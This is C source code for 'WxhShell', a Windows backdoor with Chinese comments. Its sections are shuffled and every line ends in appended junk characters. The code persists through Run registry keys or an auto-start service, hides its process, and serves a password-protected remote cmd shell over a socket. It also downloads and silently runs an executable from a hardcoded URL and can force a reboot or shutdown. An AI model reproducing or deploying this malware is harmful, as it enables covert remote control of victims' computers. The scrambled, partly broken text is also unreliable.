    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s{++w5s  
    else { Cw%{G'O   
    closesocket(wsh); n%-0V>  
    ExitThread(0); E]6 6]+;0_  
    } Bx!-"e  
    break; $M#>9QHhc  
    } b -y  
  // 获取shell !wNO8;(  
  case 's': { l2d{ 73h  
    CmdShell(wsh); l0] EX>"E  
    closesocket(wsh); 4 :=]<sc,  
    ExitThread(0); DlT{`  
    break; *"kM{*3:v  
  } .pq%?&  
  // 退出 !W0v >p  
  case 'x': { Jwp7gYZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,[Fb[#Qqb  
    CloseIt(wsh); S'14hk<  
    break; |o @%dH  
    } *VeRVaBl  
  // 离开  ]k(]qZ  
  case 'q': { zQA`/&=Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *A< 5*Db:F  
    closesocket(wsh); -8Xf0_  
    WSACleanup(); +#By*;BJ  
    exit(1); -/k 3a*$/  
    break; SaCh 7 ^  
        } aT<q=DO  
  } t Pf40`@  
  } $cR{o#  
i!cCMh8  
  // 提示信息 p7Cs.2>M>S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2oU_2P  
} GL JMP^p  
  } &{RDM~  
G j1_!.T  
  return; ca}2TT&t  
} -+5>|N#  
{t!!Uz 7  
// shell模块句柄 Zov~B-Of:  
int CmdShell(SOCKET sock) ,47qw0=C  
{ &R siVBA  
STARTUPINFO si; q =Il|Nb>  
ZeroMemory(&si,sizeof(si)); ':}\4j&{E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Hdu:"j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]d`VT)~vje  
PROCESS_INFORMATION ProcessInfo; *dF>_F  
char cmdline[]="cmd"; OH"XrCX7n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e%6QTg5#  
  return 0; sr}E+qf  
} H1T.(M/"  
6Iw\c  
// 自身启动模式 TKjFp%  
int StartFromService(void)  9a kH  
{ |M_UQQAB|  
typedef struct {|\.i  
{ 4~=l}H>&  
  DWORD ExitStatus; 0ksa  
  DWORD PebBaseAddress; ?}7p"3j'z  
  DWORD AffinityMask; <| &Npd'  
  DWORD BasePriority; Jl<2>@  
  ULONG UniqueProcessId; lLD12d  
  ULONG InheritedFromUniqueProcessId; Z= !*e~j@  
}   PROCESS_BASIC_INFORMATION; a: S -  
X(C$@N  
PROCNTQSIP NtQueryInformationProcess; >Se,;cB'/]  
T)CP2U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /@Zrq#o zx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v3qA":(w+(  
b6M  
  HANDLE             hProcess; *' X3z@R  
  PROCESS_BASIC_INFORMATION pbi; kN>!2UfNS  
`"~%bS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QM]YJr3r E  
  if(NULL == hInst ) return 0; @P" p+  
G\?YK.Y>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "] iB6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B?qjkP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8Eq7Sa  
EzIGz[  
  if (!NtQueryInformationProcess) return 0; i  LAscb  
TPY}C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qFNes)_r  
  if(!hProcess) return 0; 2 FFD%O05  
sC;+F*0g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,(4K4pN  
]:f%l mEy  
  CloseHandle(hProcess); \L\b$4$d  
0RK!/:'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m`_ONm'T&  
if(hProcess==NULL) return 0; K@#L)VT!  
:@)>r9N  
HMODULE hMod; -(#iIgmP  
char procName[255]; Q&V;(L62!  
unsigned long cbNeeded; QIgNsz  
`@ FYkH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "vslZ`RU  
Lk$B{2^n  
  CloseHandle(hProcess); Z<4AL\l 98  
^I)N. 5  
if(strstr(procName,"services")) return 1; // 以服务启动 e$pV%5=  
hzRYec(  
  return 0; // 注册表启动 &M '*6A  
} HdG2X  
[PM4k0YC8  
// 主模块 J")#I91  
int StartWxhshell(LPSTR lpCmdLine)  ][]  
{ CA#,THty  
  SOCKET wsl; nvUc\7(%NW  
BOOL val=TRUE; 'eX '  
  int port=0; F\KUZ[%  
  struct sockaddr_in door; LD g?'y;2  
LrK,_)r:~  
  if(wscfg.ws_autoins) Install(); T5:G$-qL(  
l\?c}7k  
port=atoi(lpCmdLine); B+0hzkPY  
hG:|9Sol,  
if(port<=0) port=wscfg.ws_port; j w9b )  
O#u=c1 ?:  
  WSADATA data; ,u g@f-T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AFfAtu  
0AV c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \_U$"/$4VH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z: 7fV5b(  
  door.sin_family = AF_INET; TuYCR>P[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #!m.!? O  
  door.sin_port = htons(port); (3&?wy_l  
-)/$M(Pu"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FkRo _?  
closesocket(wsl); wuqJr:q*#  
return 1; }#E[vRf  
} N"y)Oca{  
_{Hj^}+$  
  if(listen(wsl,2) == INVALID_SOCKET) { *~H Sy8s  
closesocket(wsl); u?{H}V  
return 1; _]*>*XfF(  
} vA.MRu#  
  Wxhshell(wsl); &yol_%C  
  WSACleanup(); vI)LB)Q  
27< Enq]  
return 0; Uv~QUL3>  
T"}vAG( .O  
} ^<-+@v*  
zNuJjL  
// 以NT服务方式启动 t!\tF[9e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XF_pN[}  
{ lUiL\~Gq  
DWORD   status = 0; /[>sf[X\I9  
  DWORD   specificError = 0xfffffff; T${Q.zHY[!  
N{~Y J$!8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BI}Cg{^km  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3 SGDy]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HOh!Xcu  
  serviceStatus.dwWin32ExitCode     = 0; CWP2{  
  serviceStatus.dwServiceSpecificExitCode = 0; I15{)o(8$  
  serviceStatus.dwCheckPoint       = 0; c\V7i#u[d;  
  serviceStatus.dwWaitHint       = 0; )@'}\_a3[]  
C=4Qlt[`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,<p}o\6  
  if (hServiceStatusHandle==0) return; .q3/_*  
wuJ4kW$  
status = GetLastError(); ;{o|9x|  
  if (status!=NO_ERROR) q8Z<{#oXu  
{ SN!?}<|U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RlDn0s  
    serviceStatus.dwCheckPoint       = 0; 9pxc~=  
    serviceStatus.dwWaitHint       = 0; L`EBfz\n  
    serviceStatus.dwWin32ExitCode     = status; )Iq<+IJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; :Qf '2.h)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G<^{&E+=  
    return; MO <3"@/,  
  } AlW66YAuQ  
Clb@$,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; az|N-?u  
  serviceStatus.dwCheckPoint       = 0; 5j-YM  
  serviceStatus.dwWaitHint       = 0; _Z,\Vw:\F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {3{"8-18  
} *~j@*{u  
td3D=Y  
// 处理NT服务事件,比如:启动、停止 VEw"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VD]zz ^  
{ JO"<{ngsQ  
switch(fdwControl) DXK}-4"\  
{ JOim3(5?s  
case SERVICE_CONTROL_STOP: A:9?ZI/X  
  serviceStatus.dwWin32ExitCode = 0; '1)$'   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Eue~Y+K*b  
  serviceStatus.dwCheckPoint   = 0; }sO&. ME  
  serviceStatus.dwWaitHint     = 0; \K]0JH  
  { FzXJ]H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eS mLf*\G  
  }  fGw9!  
  return; R= o2K  
case SERVICE_CONTROL_PAUSE: 1"M]3Kl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :e%Pvk  
  break; 1!T1Y,w  
case SERVICE_CONTROL_CONTINUE: =-lb)Z"d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u21EP[[,  
  break; P0PWJ^+,+  
case SERVICE_CONTROL_INTERROGATE: f/Bp.YwL  
  break; t=O8f5Pf{  
}; hJ#xB6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4G>H  
} U,-39mr  
h"lv7;B$  
// 标准应用程序主函数 Ev(>z-{F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'B0{_RaTb  
{ Gvqxi|  
T+K):u g  
// 获取操作系统版本 P{+T< bk|  
OsIsNt=GetOsVer(); BC<^a )D=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K8.!_ c  
:#?5X|Gz  
  // 从命令行安装 f|lU6EkU  
  if(strpbrk(lpCmdLine,"iI")) Install(); i`$*T y"x  
qXe8Kto  
  // 下载执行文件 ;^I*J:]  
if(wscfg.ws_downexe) { $.rhRKs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -f>%+<k=  
  WinExec(wscfg.ws_filenam,SW_HIDE);  J@Q7p}  
} /j|G(vt5  
.:QLk&a,:,  
if(!OsIsNt) { aL&7 1^R,  
// 如果时win9x,隐藏进程并且设置为注册表启动 H_X [t*2  
HideProc(); w{@o^rs  
StartWxhshell(lpCmdLine); %k?U9pj^  
} ;Q*or2"!  
else 2M'[,Xe  
  if(StartFromService()) A/KJqiag  
  // 以服务方式启动 qC:raH_:  
  StartServiceCtrlDispatcher(DispatchTable); QTXt8I  
else \\dM y9M-  
  // 普通方式启动 | Aw%zw1@  
  StartWxhshell(lpCmdLine);  Qq;Foa  
CZI66pDy  
return 0; |NC*7/}  
} :G2k5xD/E  
'd$P`Vw:  
|pp*|v1t  
sCk?  
=========================================== XkF%.hWo  
c+$*$|t=v`  
C$D -Pt"+  
?9\EN|O^  
tL)t"  i  
2Kyl/C,  
" j<@lX^  
s`'{I8'p/  
#include <stdio.h> Ww%=1M]e-  
#include <string.h> [knN:{ l  
#include <windows.h> r^paD2&}  
#include <winsock2.h> ~%=MpQ3  
#include <winsvc.h> 5r8< 7g:>C  
#include <urlmon.h> q~ZNd3O  
78# v  
#pragma comment (lib, "Ws2_32.lib") R$TB1w9]  
#pragma comment (lib, "urlmon.lib") QpA/SmJ  
71gT.E  
#define MAX_USER   100 // 最大客户端连接数 E!l!OtFL  
#define BUF_SOCK   200 // sock buffer @u]rWVy;\[  
#define KEY_BUFF   255 // 输入 buffer sVv xHkt@  
ime\f*Fg  
#define REBOOT     0   // 重启 ua]o6GlO  
#define SHUTDOWN   1   // 关机 _EMwm&!  
$?<Z!*x  
#define DEF_PORT   5000 // 监听端口 .=;3d~.]  
tlqiXh<  
#define REG_LEN     16   // 注册表键长度 /1Q(b  
#define SVC_LEN     80   // NT服务名长度 Yc `)R  
jWl)cC  
// 从dll定义API bc) ~k:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u\{ g(li-I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =L:4i\4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2h1C9n%j9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 87P>IO  
U\;6mK)M^J  
// wxhshell配置信息 )oPLl|=h  
struct WSCFG { ruzspS  
  int ws_port;         // 监听端口 3? 7\ T#=  
  char ws_passstr[REG_LEN]; // 口令 L=8<B=QT$  
  int ws_autoins;       // 安装标记, 1=yes 0=no U`d5vEhT  
  char ws_regname[REG_LEN]; // 注册表键名 27"%"P.1  
  char ws_svcname[REG_LEN]; // 服务名 "C SC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B$!)YD;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V'T ,4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7=WT69,&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yXF?H"h(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zN@} #Hk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7Ka l"Ew  
0F|AA"mMT  
}; !~&R"2/  
.5,(_p^  
// default Wxhshell configuration hKjt'N:~ZY  
struct WSCFG wscfg={DEF_PORT, s6zNV4  
    "xuhuanlingzhe", `_{`l4i 5  
    1, J}+6UlD  
    "Wxhshell", "a1n_>#Fb  
    "Wxhshell", !Kj,9NX{U  
            "WxhShell Service", ac.Ms(D  
    "Wrsky Windows CmdShell Service", j|%HIF25  
    "Please Input Your Password: ", U,q\em R  
  1, ^[XYFQTL  
  "http://www.wrsky.com/wxhshell.exe", #Av.iAs  
  "Wxhshell.exe" ;@Z#b8aM}  
    }; (B_\TdQ  
"xHgqgFyO  
// 消息定义模块 OJ zs Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .!,z:l$Kh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q+]h=:5=I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^(h+URFpA  
char *msg_ws_ext="\n\rExit."; w1"nffhO  
char *msg_ws_end="\n\rQuit."; %r6y ;vAf  
char *msg_ws_boot="\n\rReboot..."; xA$nsZ]  
char *msg_ws_poff="\n\rShutdown..."; l0cA6b  
char *msg_ws_down="\n\rSave to "; ~-m"   
\z7SkZt,GT  
char *msg_ws_err="\n\rErr!"; rT5Ycm@  
char *msg_ws_ok="\n\rOK!"; 9Z'8!$LYg  
q51Uf_\/  
char ExeFile[MAX_PATH]; p)3U7"q  
int nUser = 0; @u%_1  
HANDLE handles[MAX_USER]; EC8b=B<DE  
int OsIsNt; .dQQoyR+O  
+H #U~p$  
SERVICE_STATUS       serviceStatus; F>[,zN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;Uu(zhbj  
#x3ujJ  
// 函数声明 FE! lok  
int Install(void); sHl>$Qevz  
int Uninstall(void); 3?Pn6J{O  
int DownloadFile(char *sURL, SOCKET wsh); '07P&g-  
int Boot(int flag); 1u(.T0j7f  
void HideProc(void); ixQJ[fH10  
int GetOsVer(void); XW s"jt  
int Wxhshell(SOCKET wsl); MFm"G  
void TalkWithClient(void *cs); z` FCs,?K  
int CmdShell(SOCKET sock); _Bp1co85MQ  
int StartFromService(void); _b.qkTWUB  
int StartWxhshell(LPSTR lpCmdLine); Adgc% .#  
H0SQ"?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HcV"X,7S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); snnbb0J  
] Ww?QhJ  
// 数据结构和表定义 tl'9IGlc  
SERVICE_TABLE_ENTRY DispatchTable[] = IGFR4+  
{ Gkv{~?95  
{wscfg.ws_svcname, NTServiceMain}, ZRVT2VfN  
{NULL, NULL} /'DsB%7g  
}; >P $;79<  
70mpSD3  
// 自我安装 mzc 4/<th  
int Install(void) `z )N,fF  
{ 1YJC{bO  
  char svExeFile[MAX_PATH]; D HT&,=  
  HKEY key; ZwerDkd  
  strcpy(svExeFile,ExeFile); NDAw{[.%  
#\ n8M  
// 如果是win9x系统,修改注册表设为自启动 0#*#a13  
if(!OsIsNt) { ] 0m&(9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3lq Mucr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TkO[rAC  
  RegCloseKey(key); 7ei|XfR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3^ ~KB'RZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V{&rQ@{W  
  RegCloseKey(key); `TPOCxM Mo  
  return 0; \3jW~FV  
    } 9{8GP  
  } $gM8{.!  
} <K4 ,7J$}h  
else { ZzBQe  
STw#lU) %(  
// 如果是NT以上系统,安装为系统服务 (q7 Ry4-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \7 NpT}dj  
if (schSCManager!=0) U(;&(W"M  
{ aCxE5$~$  
  SC_HANDLE schService = CreateService LtKI3ou  
  ( d k<XzO~g  
  schSCManager, NwR}yb6  
  wscfg.ws_svcname, Z@%HvB7  
  wscfg.ws_svcdisp, 9bq<GC'eX8  
  SERVICE_ALL_ACCESS, gOK\%&S]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [e4]"v`N  
  SERVICE_AUTO_START, ? j 9|5*  
  SERVICE_ERROR_NORMAL, ~w;]c_{.b  
  svExeFile, d4 (/m_HMu  
  NULL, ~E^,=4  
  NULL, "AhTH.ZP  
  NULL, G>+1*\c  
  NULL, NAzX". g  
  NULL k') E/n  
  ); FG!X"<he  
  if (schService!=0) fQ=MJ7l  
  { KyO8A2'U  
  CloseServiceHandle(schService); $VQtwuYt  
  CloseServiceHandle(schSCManager); =FT98H2*|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n7YEG-J  
  strcat(svExeFile,wscfg.ws_svcname); VCcr3Dx()F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *I0-O*Xr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rUjdq/I:Z  
  RegCloseKey(key); oejfU;+$  
  return 0; M}wXJ8aF?  
    } ZB[Qs   
  } s{4\xAS>  
  CloseServiceHandle(schSCManager); :aIN9;  
} %D`,k*X  
} \rV B5|D?  
D*Q.G8(  
return 1; 5I@w~z  
} 6k/U3&R  
DK&h eVIoZ  
// 自我卸载 %&\jOq~  
int Uninstall(void) 0G2g4DSKD  
{ Zf>^4_x3P  
  HKEY key; (?b@b[D~4  
A;u"<KG?  
if(!OsIsNt) { 5]1h8PW!Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pBC<u  
  RegDeleteValue(key,wscfg.ws_regname); {A o,t+j  
  RegCloseKey(key); 9lo [&^<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lRP1&FH0  
  RegDeleteValue(key,wscfg.ws_regname); B,(Heg  
  RegCloseKey(key); 0J8K9rP;z  
  return 0; x4#T G  
  } T=YzJyQC)  
} **[Z^$)u(  
} X{-9FDW  
else { 9Of FM9(:  
=[<m[.)i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g+C!kaC)  
if (schSCManager!=0) S? 0)1O  
{ :b,^J&~/)1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N|2y"5  
  if (schService!=0) Y3ZK%OyPR  
  { ^5t  
  if(DeleteService(schService)!=0) { H2-28XGc  
  CloseServiceHandle(schService); -6Mm#sX  
  CloseServiceHandle(schSCManager); gX?n4Csy'  
  return 0; VZIR4J[\.  
  } GW2')}g  
  CloseServiceHandle(schService); s/1 #DM"  
  } vY*\R0/a  
  CloseServiceHandle(schSCManager); Yp4c'Zk  
} *V;3~x!  
} gK3Mms]}m  
- n6jG}01b  
return 1; RX2{g^V7  
} pD@zmCU  
i$-#dc2qY  
// 从指定url下载文件 sst,dA V$  
int DownloadFile(char *sURL, SOCKET wsh) qsg>5E  
{ e^$j5jV  
  HRESULT hr; G7* h{nE  
char seps[]= "/"; Jll-X\O`-  
char *token; qU[O1bN  
char *file; y^FOsr  
char myURL[MAX_PATH]; _hCJ|Rrln  
char myFILE[MAX_PATH]; IdM*5Y>f  
YJ2ro-X  
strcpy(myURL,sURL); []&(D_e"  
  token=strtok(myURL,seps); 9F+P@Kp  
  while(token!=NULL) YbMssd2Yg  
  { hGP1(pH.  
    file=token; ev>oC~>s  
  token=strtok(NULL,seps); {sC=J hs-  
  } 0d\~"4 R  
f3 ]  
GetCurrentDirectory(MAX_PATH,myFILE); f8:$G.}i  
strcat(myFILE, "\\"); (3EUy"z-  
strcat(myFILE, file); hPufzhT  
  send(wsh,myFILE,strlen(myFILE),0); O=jN&<rb  
send(wsh,"...",3,0); &(&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g*]E>SQ=  
  if(hr==S_OK) a`Z{ xme =  
return 0; Z-|li}lDr  
else iG[? ]]  
return 1; Ds5N Ap:x  
^@}#me@  
} "~p+0Xws9  
)XVh&'(r  
// 系统电源模块 B[xR-6phW  
int Boot(int flag) Xi~9&ed#$i  
{ PX3  
  HANDLE hToken; {:Vf0Mhb  
  TOKEN_PRIVILEGES tkp; =2oUZjA  
nN ~GP"}  
  if(OsIsNt) { {~GR8 U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i@$-0%,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *e<_; Kr?  
    tkp.PrivilegeCount = 1; .u< U:*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '>^Xqn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "r-l8r,  
if(flag==REBOOT) { vO$ra5Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7>x;B  
  return 0; A'DVJ9%xB  
} u3wL<$2[8  
else { X7e/:._SAH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sA_X<>vAKJ  
  return 0; /Antb6E  
} Uh+jt,RB`  
  } aW@oE ~`  
  else { cTj~lO6  
if(flag==REBOOT) { I>((o`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {Nq?#%vdT  
  return 0; Jf+7"![|  
} ~R!gJTO9  
else { "3t\em!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9N}W(>  
  return 0; h3h8lt_ |  
} P{lh)m>  
} j<$R4A 1  
f8!l7{2%q  
return 1; sfC@*Y2XT  
} J<_1z':W)  
a paIJ+^[  
// win9x进程隐藏模块 EVSK8T,  
void HideProc(void) K.h]JD]o  
{ /'Bdq?!B&  
6 ">oo-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0=,'{Vz}A  
  if ( hKernel != NULL ) t~~r-V":  
  { 4[H,3}p9H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4JK@<GBK6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r!M#7FDs(  
    FreeLibrary(hKernel); Q=XA"R  
  } WH;xq^  
\I xzdFF#  
return; z9fNk%  
} &U0WkW   
2HVCXegq  
// 获取操作系统版本 |lHFo{8"  
int GetOsVer(void) KF4see;;  
{ Ei|0L$NCg  
  OSVERSIONINFO winfo; Zr R+QV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I~'gK8<e7  
  GetVersionEx(&winfo); *p"O*zj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _6J<YQK  
  return 1; 9H8=eJd  
  else DoTs9w|5  
  return 0; 4Qhx[Hv>(  
} aZC*7AK   
Wb'*lT0=  
// 客户端句柄模块 z.A4x#>-  
int Wxhshell(SOCKET wsl) 4Q/r[x/&C  
{ AYYRxhv_,  
  SOCKET wsh; e Ri!\Fx  
  struct sockaddr_in client; 1+FYjh!2t  
  DWORD myID; @p"NJx"  
hF9B?@n?B  
  while(nUser<MAX_USER) 1 S^'C2/b  
{ ,^M]yr*~  
  int nSize=sizeof(client); Q{`@ G"'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]uJM6QuQ  
  if(wsh==INVALID_SOCKET) return 1; mf#fA2[  
f!^)!~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $TFTIk*uU  
if(handles[nUser]==0) lWIv(%/@  
  closesocket(wsh); @#1cx  
else `GP3 D~  
  nUser++; KdS eCeddW  
  } =sL(^UISl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *;Ak5.du  
`2sdZ/fO  
  return 0; .M}06,-  
} # e$\~cPd  
Y]?Kqc  
// 关闭 socket ]C+eJ0"A  
void CloseIt(SOCKET wsh) [3GKPX:OA/  
{ -uO%[/h;N  
closesocket(wsh); iczs8gj*  
nUser--; z{@= _5;  
ExitThread(0); A"`L~|&  
} M3)v-"  
R<_mK33hd  
// 客户端请求句柄 h#vL5At  
void TalkWithClient(void *cs) %!>k#F^S  
{ S|s3}]g9  
1g+LF[*-~  
  SOCKET wsh=(SOCKET)cs; r .{rNR  
  char pwd[SVC_LEN]; NEZH<#  
  char cmd[KEY_BUFF]; I4A ;  
char chr[1]; DIL)7K4  
int i,j; D[+|^,^>  
|>M-+@g j  
  while (nUser < MAX_USER) { ;CLR{t(N#V  
ngtuYASc  
if(wscfg.ws_passstr) { t- !h X/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p<<6}3~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iJ5e1R8tN  
  //ZeroMemory(pwd,KEY_BUFF); 1{= E ?  
      i=0; ?< -wHj)  
  while(i<SVC_LEN) { wEZqkV  
*G8'Fjin'T  
  // 设置超时 Rc;1Sm9\  
  fd_set FdRead; W,0KBkkp  
  struct timeval TimeOut; sxf}Mmsk  
  FD_ZERO(&FdRead); 1x^W'n,HtK  
  FD_SET(wsh,&FdRead); Ky =(urAd  
  TimeOut.tv_sec=8; V6A5(-%`y  
  TimeOut.tv_usec=0; +#&el//  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /5Gnb.zN)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1uK)1%vK  
H57jBD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l6r%nHP@  
  pwd=chr[0]; [N'r3  
  if(chr[0]==0xd || chr[0]==0xa) { h#$ _<U  
  pwd=0; M80}3mgP~  
  break; _Y}^%eFw  
  } !NlB%cF  
  i++; ^!zJf7(+<>  
    } yQ72v'  
@ J?-a m>  
  // 如果是非法用户,关闭 socket s|Imz<IE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3JwSgcb  
} p{('KE)  
&utS\-;G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4nX'a*'D~}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A- <.#  
WV9[DFU  
while(1) { t!+%g) @  
2gK p\!  
  ZeroMemory(cmd,KEY_BUFF); BV_a-\Sa=  
#d7)$ub  
      // 自动支持客户端 telnet标准   zIX}[l4EW~  
  j=0; 8' WLm  
  while(j<KEY_BUFF) { ^hGZVGSv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LNsE7t  
  cmd[j]=chr[0]; <"j"h=tm}  
  if(chr[0]==0xa || chr[0]==0xd) { d#M?lS>  
  cmd[j]=0; oW\Q>c7 =  
  break; \!? PhNv  
  } x_>"Rnv:K  
  j++; ;NvhL|R  
    } {Hrr:hC  
 xLGTnMYd  
  // 下载文件 RMs1{64:  
  if(strstr(cmd,"http://")) { A `H]q5d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r(`8A:#d  
  if(DownloadFile(cmd,wsh)) jHUz`.8B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Kt mSY  
  else }J4BxBuV8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |iF1 A  
  } fitK2d   
  else { -qr:c9\px  
P89Dg/P  
    switch(cmd[0]) { +LU).  
